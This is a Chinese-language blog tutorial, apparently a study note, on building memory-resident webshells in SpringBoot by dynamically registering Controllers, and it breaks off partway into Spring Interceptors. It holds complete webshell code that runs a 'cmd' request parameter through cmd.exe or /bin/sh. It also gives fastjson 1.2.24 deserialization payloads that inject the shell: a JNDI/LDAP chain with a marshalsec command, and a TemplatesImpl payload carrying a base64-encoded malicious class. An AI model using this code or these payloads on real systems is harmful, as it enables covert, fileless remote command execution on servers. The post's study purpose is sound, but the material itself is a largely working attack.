前言 接上篇,这篇学习框架内存马与Agent内存马,下篇学习内存马查杀
环境:springboot 2.4.5
基于动态添加框架组件 针对于框架有spring、springboot、weblogic等等,上一篇实现了基于Servlet API中的 Servlet、Filter、Listener的内存马实现,现在针对SpringMVC的Controller来进行内存马的学习,依旧根据上一篇的学习思路,从controller的实现原理开始学习
在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。
Spring Controller 内存马 流程分析 环境:springboot-2.4.5
针对前期springboot的bean的初始化流程不再分析,给出细致分析:Springboot 源码分析-bean 初始化流程
给出Controller的demo
@RestController @RequestMapping("/books") public class BookController { @GetMapping public String getById () { System.out.println("springboot is running" ); return "springboot is running" ; } }
初始化时,针对容器内的bean进行构造方法,属性的初始化,然后使用到 AbstractAutowireCapableBeanFactory.java#initializeBean() 方法,针对每个bean调用了invokeInitMethods(),其中的一个实现类需要关注的是 RequestMappingHandlerMapping
然后判断是否继承 InitializingBean,然后调用afterPropertiesSet方法
调用父类的afterPropertiesSet()方法
跟踪到 AbstractHandlerMethodMapping.java#afterPropertiesSet,发现又调用了 initHandlerMethods()
根据注释就是从当前的application中扫描所有的beans
进入 processCandidateBean ,获取bean的类型,然后通过 isHandler 进行判断
RequestMappingHandlerMapping#isHandler 判断bean 是否带有 Controller 或 RequestMapping 注解
如果符合就返回到 detectHandlerMethods 中,这个方法实现的功能就是,通过一个map(method->info)然后进行注册映射。
其中需要关注的两个方法 getMappingForMethod 和 registerHandlerMethod ,分别是形成map和注册
跟进 getMappingForMethod ,发现主要为两步
1、通过createRequestMappingInfo方法以当前控制器下的method作为变量,创建了一个RequestMappingInfo 的对象
2、通过createRequestMappingInfo方法以当前控制器下的handlerType作为参数,创建了一个RequestMappingInfo 的对象
createRequestMappingInfo 通过 findMergedAnnotation 去查询 handler 的 RequestMapping 类型的注解
然后调用双参数的 createRequestMappingInfo 添加 请求方法 路径等
method 和 handlerType 返回值如下然后combine进行合并,最后返回 info
然后进入一个循环
跟进 registerHandlerMethod ,调用 MappingRegistry 类的 register 方法
可以看见一开始就定义了一些变量,这些就是最终存储的位置
register() 一开始都是铺垫,最后添加到 registry 中,最终利用点就是这个register方法
此时map对应的 路径->方法,至此,controller的注册流程完成
那么一次http请求路由是怎么查找到对应的controller的?
SpringMVC源码之Controller查找原理 - 卧颜沉默 - 博客园 (cnblogs.com)
其中有一个方法是用于动态注册的:registerMapping()
看注释也能知道,当初始化完成后,可以调用该方法进行动态注册,因为调用了register方法,这也是下文用于注册controller的利用调用处,还有另外几种方法,见下面的参考
实现 思路:
创建一个恶意 RequestMappingInfo 对象,实现其方法,请求路径
通过容器获取上下文,然后获取 RequestMappingHandlerMapping
通过调用 registerMapping 等 方法进行注册controller
ShellController
package com.example.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method;import java.util.Scanner;@Controller public class ShellController { @ResponseBody @RequestMapping("/inject") public String Inject () throws NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = InjectController.class.getMethod("test" ); PatternsRequestCondition url = new PatternsRequestCondition("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null , null , null , null , null ); InjectController injectToController = new InjectController(); mappingHandlerMapping.registerMapping(info,injectToController,method); return "[+]success: /shell" ; } public class InjectController { public InjectController () { } public void test () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); PrintWriter writer = response.getWriter(); String cmd = request.getParameter("cmd" ); try { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , cmd}); } else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , cmd}); } Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } catch (Exception e) { response.sendError(404 ); } } } }
package com.example.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import java.lang.reflect.Method;import org.springframework.web.bind.annotation.RequestMethod;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;@Controller public class ShellController { @ResponseBody @RequestMapping(value = "/inject", method = RequestMethod.GET) public void inject () throws NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = InjectToController.class.getMethod("test" ); PatternsRequestCondition url = new PatternsRequestCondition("/demo" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null , null , null , null , null ); InjectToController injectToController = new InjectToController(); mappingHandlerMapping.registerMapping(info, injectToController, method); } @ResponseBody public class InjectToController { public InjectToController () { } public String test () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); InputStreamReader isr = new InputStreamReader(is, "GBK" ); BufferedReader br = new BufferedReader(isr); String str = "" ; String line = "" ; while ((line = br.readLine())!=null ){ str+=line; } is.close(); br.close(); return str; } } }
其中的注意点:
1、springboot 2.6.0后有个新特性,添加了 pathPatternsCondition 导致 手动注册controller报错
Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH"
2、关于注册controller
还有好几种的接口可以实现调用register方法进行添加 registry,参见 基于内存 Webshell 的无文件攻击技术研究
利用 利用场景可将其转为jsp文件,或通过反序列化来注入内存马比如fastjson,CC链
加入fastjson 1.2.24
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
JsonController
package com.example.controller;import com.alibaba.fastjson.JSON;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class JsonController { @ResponseBody @RequestMapping(value = "/fastjson", method = RequestMethod.POST) public String test01 (@RequestBody String payload) { Object object = JSON.parse(payload); return object.toString(); } }
出网情况 利用 ldap或 rmi
JndiController.java
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import java.io.*;import java.lang.reflect.Method;public class JndiController { public JndiController () throws NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = JndiController.class.getMethod("test" ); PatternsRequestCondition url = new PatternsRequestCondition("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null , null , null , null , null ); JndiController injectToController = new JndiController("xxx" ); mappingHandlerMapping.registerMapping(info,injectToController,method); } public JndiController (String tmp) { } public String test () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); InputStreamReader isr = new InputStreamReader(is, "GBK" ); BufferedReader br = new BufferedReader(isr); String str = "" ; String line = "" ; while ((line = br.readLine())!=null ){ str+=line; } is.close(); br.close(); return str; } }
编译为class文件后,利用marashalsec起一个ldap,将恶意class文件所在目录利用python起一个http-server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#JndiController
fastjson触发jndi注入
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/test","autoCommit":true}
获取恶意class成功
成功注入
不出网 fastjson反序列化利用 TemplatesImpl 链
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.*;import java.lang.reflect.Method;import java.util.Scanner;public class poc_1 extends AbstractTranslet { public poc_1 () throws IOException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" ,0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = poc_1.class.getMethod("test" ); PatternsRequestCondition url = new PatternsRequestCondition("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null , null , null , null , null ); poc_1 injectToController = new poc_1("xxx" ); mappingHandlerMapping.registerMapping(info,injectToController,method); } public poc_1 (String tmp) { } public void test () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); PrintWriter writer = response.getWriter(); String cmd = request.getParameter("cmd" ); try { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder(new String[]{"cmd.exe" , "/c" , cmd}); } else { p = new ProcessBuilder(new String[]{"/bin/sh" , "-c" , cmd}); } Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } catch (Exception e) { response.sendError(404 ); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main (String[] args) throws Exception { poc_1 t = new poc_1(); } }
编译为class文件后,base64编码放到 _bytecodes 中
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQA7QoAOQCACgCBAIIIAIMLAIQAhQcAhgcAhwsABQCIBwCJCABVBwCKCgAKAIsHAIwHAI0IAI4KAAwAjwcAkAcAkQoAEACSBwCTCgATAJQIAJUKAAgAlgoABgCXBwCYCgAYAJkKABgAmgsAmwCcCABjCwCdAJ4IAJ8IAKAKAKEAogoADQCjCACkCgANAKUHAKYIAKcIAKgKACQAjwgAqQgAqgcAqwoAJACsCgCtAK4KACoArwgAsAoAKgCxCgAqALIKACoAswoAKgC0CgC1ALYKALUAtwoAtQC0BwC4CwCbALkKAAgAgAcAugEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTHBvY18xOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAN1cmwBAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBAAJtcwEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBABJpbmplY3RUb0NvbnRyb2xsZXIBAApFeGNlcHRpb25zBwC7BwC8AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADdG1wAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQTWV0aG9kUGFyYW1ldGVycwEABHRlc3QBAAFwAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAAFvAQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAIkHAL0HAL4HAL8HAI0HAKYHAKsHALgBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwDAAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAEAClNvdXJjZUZpbGUBAApwb2NfMS5qYXZhDAA6ADsHAMEMAMIAwwEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAxAwAxQDGAQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDADHAMgBAAVwb2NfMQEAD2phdmEvbGFuZy9DbGFzcwwAyQDKAQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBAAYvc2hlbGwMADoAegEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAOgDLAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAOgDMAQADeHh4DAA6AFEMAM0AzgEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAM8A0AwA0QDSBwC+DADTANQHAL0MANUA1gEAAAEAB29zLm5hbWUHANcMANgA1gwA2QDaAQADd2luDADbANwBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA3QDeBwDfDADgAOEMADoA4gEAA1xcQQwA4wDkDADlAOYMAOcA2gwA6AA7BwC/DADpAFEMAOoAOwEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOsA7AEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAPcmVnaXN0ZXJNYXBwaW5nAQBuKExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhAAgAOQAAAAAABgABADoAOwACADwAAAEFAAkACAAAAHEqtwABuAACEgMDuQAEAwDAAAVMKxIGuQAHAgDAAAZNEggSCQO9AAq2AAtOuwAMWQS9AA1ZAxIOU7cADzoEuwAQWQO9ABG3ABI6BbsAE1kZBBkFAQEBAQG3ABQ6BrsACFkSFbcAFjoHLBkGGQcttgAXsQAAAAIAPQAAACoACgAAABYABAAYABMAGQAfABoAKwAbAD0AHABKAB0AXAAeAGcAHwBwACAAPgAAAFIACAAAAHEAPwBAAAAAEwBeAEEAQgABAB8AUgBDAEQAAgArAEYARQBGAAMAPQA0AEcASAAEAEoAJwBJAEoABQBcABUASwBMAAYAZwAKAE0AQAAHAE4AAAAGAAIATwBQAAEAOgBRAAIAPAAAAD0AAQACAAAABSq3AAGxAAAAAgA9AAAACgACAAAAIgAEACQAPgAAABYAAgAAAAUAPwBAAAAAAAAFAFIAUwABAFQAAAAFAQBSAAAAAQBVADsAAgA8AAAB4QAGAAgAAADGuAACwAAYwAAYtgAZTLgAAsAAGMAAGLYAGk0suQAbAQBOKxIcuQAdAgA6BBIeOgUSH7gAILYAIRIitgAjmQAiuwAkWQa9AA1ZAxIlU1kEEiZTWQUZBFO3ACc6BqcAH7sAJFkGvQANWQMSKFNZBBIpU1kFGQRTtwAnOga7ACpZGQa2ACu2ACy3AC0SLrYALzoHGQe2ADCZAAsZB7YAMacABRkFOgUZB7YAMi0ZBbYAMy22ADQttgA1pwAOOgUsEQGUuQA3AgCxAAEAKwC3ALoANgADAD0AAABKABIAAAAnAA0AKAAaACkAIQAqACsALAAvAC4APwAvAF4AMQB6ADMAkAA0AKQANQCpADYArwA3ALMAOAC3ADsAugA5ALwAOgDFADwAPgAAAGYACgBbAAMAVgBXAAYALwCIAFgAUwAFAHoAPQBWAFcABgCQACcAWQBaAAcAvAAJAFsAXAAFAAAAxgA/AEAAAAANALkAXQBeAAEAGgCsAF8AYAACACEApQBhAGIAAwArAJsAYwBTAAQAZAAAAEUABv8AXgAGBwBlBwBmBwBnBwBoBwBpBwBpAAD8ABsHAGr8ACUHAGtBBwBp/wAXAAUHAGUHAGYHAGcHAGgHAGkAAQcAbAoATgAAAAQAAQA2AAEAbQBuAAMAPAAAAD8AAAADAAAAAbEAAAACAD0AAAAGAAEAAABAAD4AAAAgAAMAAAABAD8AQAAAAAAAAQBvAHAAAQAAAAEAcQByAAIATgAAAAQAAQBzAFQAAAAJAgBvAAAAcQAAAAEAbQB0AAMAPAAAAEkAAAAEAAAAAbEAAAACAD0AAAAGAAEAAABEAD4AAAAqAAQAAAABAD8AQAAAAAAAAQBvAHAAAQAAAAEAdQB2AAIAAAABAHcAeAADAE4AAAAEAAEAcwBUAAAADQMAbwAAAHUAAAB3AAAACQB5AHoAAwA8AAAAQQACAAIAAAAJuwAIWbcAOEyxAAAAAgA9AAAACgACAAAARwAIAEgAPgAAABYAAgAAAAkAewB8AAAACAABAH0AQAABAE4AAAAEAAEANgBUAAAABQEAewAAAAEAfgAAAAIAfw=="],'_name':'c.c','_tfactory':{},"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}
OK!
参考 SpringBoot Controller 内存马 / yso定制 - zpchcbd
基于内存 Webshell 的无文件攻击技术研究
Spring 内存马实现 | MYZXCG
Spring Interceptor 内存马 随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,所以这里学习一种 Intercepor 指Spring中的拦截器,主要用于拦截用户请求并作相应处理,比如判断用户登录状态,日志记录,权限管理等
流程分析 自定义拦截器必须实现 HandlerInterceptor 接口,HandlerInterceptor接口中有三个方法:
preHandle方法是controller方法执行前拦截的方法
可以使用request或者response跳转到指定的页面
return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。
return false不放行,不会执行controller中的方法。
postHandle是controller方法执行后执行的方法,在JSP视图执行前。
可以使用request或者response跳转到指定的页面
如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。
afterCompletion方法是在JSP执行后执行
request或者response不能再跳转页面了
一、创建自定义拦截器
package com.example.interceptor;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class InterceptorConfig implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle()" ); response.setContentType("text/html" ); response.getOutputStream().print("[+] preHandle()<br>" ); response.flushBuffer(); return true ; } @Override public void postHandle (HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("[+]postHandle" ); } @Override public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("[+]afterCompletion" ); } }
二、配置注册启用 Interceptor
创建一个实现了 WebMvcConfigurer 接口的配置类(使用了 @Configuration 注解的类),重写 addInterceptors() 方法,并在该方法中调用 registry.addInterceptor() 方法将自定义的拦截器注册到容器中。
